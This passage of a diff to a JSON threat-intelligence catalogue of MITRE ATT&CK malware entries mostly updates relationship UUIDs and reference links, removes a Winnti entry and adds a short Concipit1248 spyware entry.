+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13227,7 +14788,7 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13248,7 +14809,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13269,21 +14830,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13317,21 +14878,21 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13359,21 +14920,21 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13399,6 +14960,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43", @@ -13421,14 +14989,14 @@ }, "related": [ { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13469,7 +15037,7 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13497,7 +15065,7 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13611,21 +15179,21 @@ "type": "similar" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13660,14 +15228,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13693,7 +15261,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0089", - "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" ], "synonyms": [ "BlackEnergy", @@ -13716,7 +15284,7 @@ "type": "similar" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13730,7 +15298,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13751,14 +15319,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13793,14 +15361,14 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13814,28 +15382,28 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13863,14 +15431,14 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13897,35 +15465,35 @@ }, "related": [ { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13946,7 +15514,7 @@ "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13974,7 +15542,14 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14001,7 +15576,7 @@ }, "related": [ { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14029,7 +15604,7 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14043,7 +15618,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14133,7 +15708,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14167,14 +15742,14 @@ "type": "similar" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14188,14 +15763,14 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14216,21 +15791,21 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14251,21 +15826,21 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14300,14 +15875,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14345,7 +15913,7 @@ "value": "YiSpecter - S0311" }, { - "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)", + "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)", "meta": { "external_id": "S0114", "mitre_platforms": [ @@ -14353,7 +15921,9 @@ ], "refs": [ "https://attack.mitre.org/software/S0114", - "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf", + "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf" ], "synonyms": [ "BOOTRASH" @@ -14361,7 +15931,14 @@ }, "related": [ { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfebc3b7-d19d-450b-81c7-6dafe4184c04", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14503,63 +16080,6 @@ "uuid": "0626c181-93cb-4860-9cb0-dff3b1c13063", "value": "Rotexy - S0411" }, - { - "description": "[Winnti](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)", - "meta": { - "external_id": "S0141", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0141", - "https://securelist.com/winnti-more-than-just-a-game/37029/", - "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" - ], - "synonyms": [ - "Winnti" - ] - }, - "related": [ - { - "dest-uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21", - "value": "Winnti - S0141" - }, { "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)", "meta": { @@ -14584,7 +16104,7 @@ "type": "similar" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14605,7 +16125,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14675,14 +16195,14 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14731,7 +16251,7 @@ "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14781,7 +16301,7 @@ "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14802,7 +16322,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14816,21 +16336,14 @@ "type": "uses" }, { - "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14886,14 +16399,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14907,14 +16420,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14935,14 +16441,21 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14989,28 +16502,21 @@ "type": "similar" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15024,7 +16530,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15100,7 +16606,7 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15121,14 +16627,21 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15170,14 +16683,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15194,6 +16707,55 @@ "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe", "value": "Nidiran - S0118" }, + { + "description": "[Concipit1248](https://attack.mitre.org/software/S0426) is iOS spyware that was discovered using the same name as the developer of the Android spyware [Corona Updates](https://attack.mitre.org/software/S0425). Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.(Citation: TrendMicro Coronavirus Updates)", + "meta": { + "external_id": "S0426", + "mitre_platforms": [ + "iOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0426", + "https://blog.trendmicro.com/trendlabs-security-intelligence/coronavirus-update-app-leads-to-project-spy-android-and-ios-spyware/" + ], + "synonyms": [ + "Concipit1248", + "Corona Updates" + ] + }, + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "89c3dbf6-f281-41b7-be1d-a0e641014853", + "value": "Concipit1248 - S0426" + }, { "description": "[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", "meta": { @@ -15218,14 +16780,14 @@ "type": "similar" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15237,13 +16799,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", @@ -15280,14 +16835,7 @@ "type": "similar" }, { - "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15301,14 +16849,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15356,7 +16911,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15370,7 +16925,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15464,7 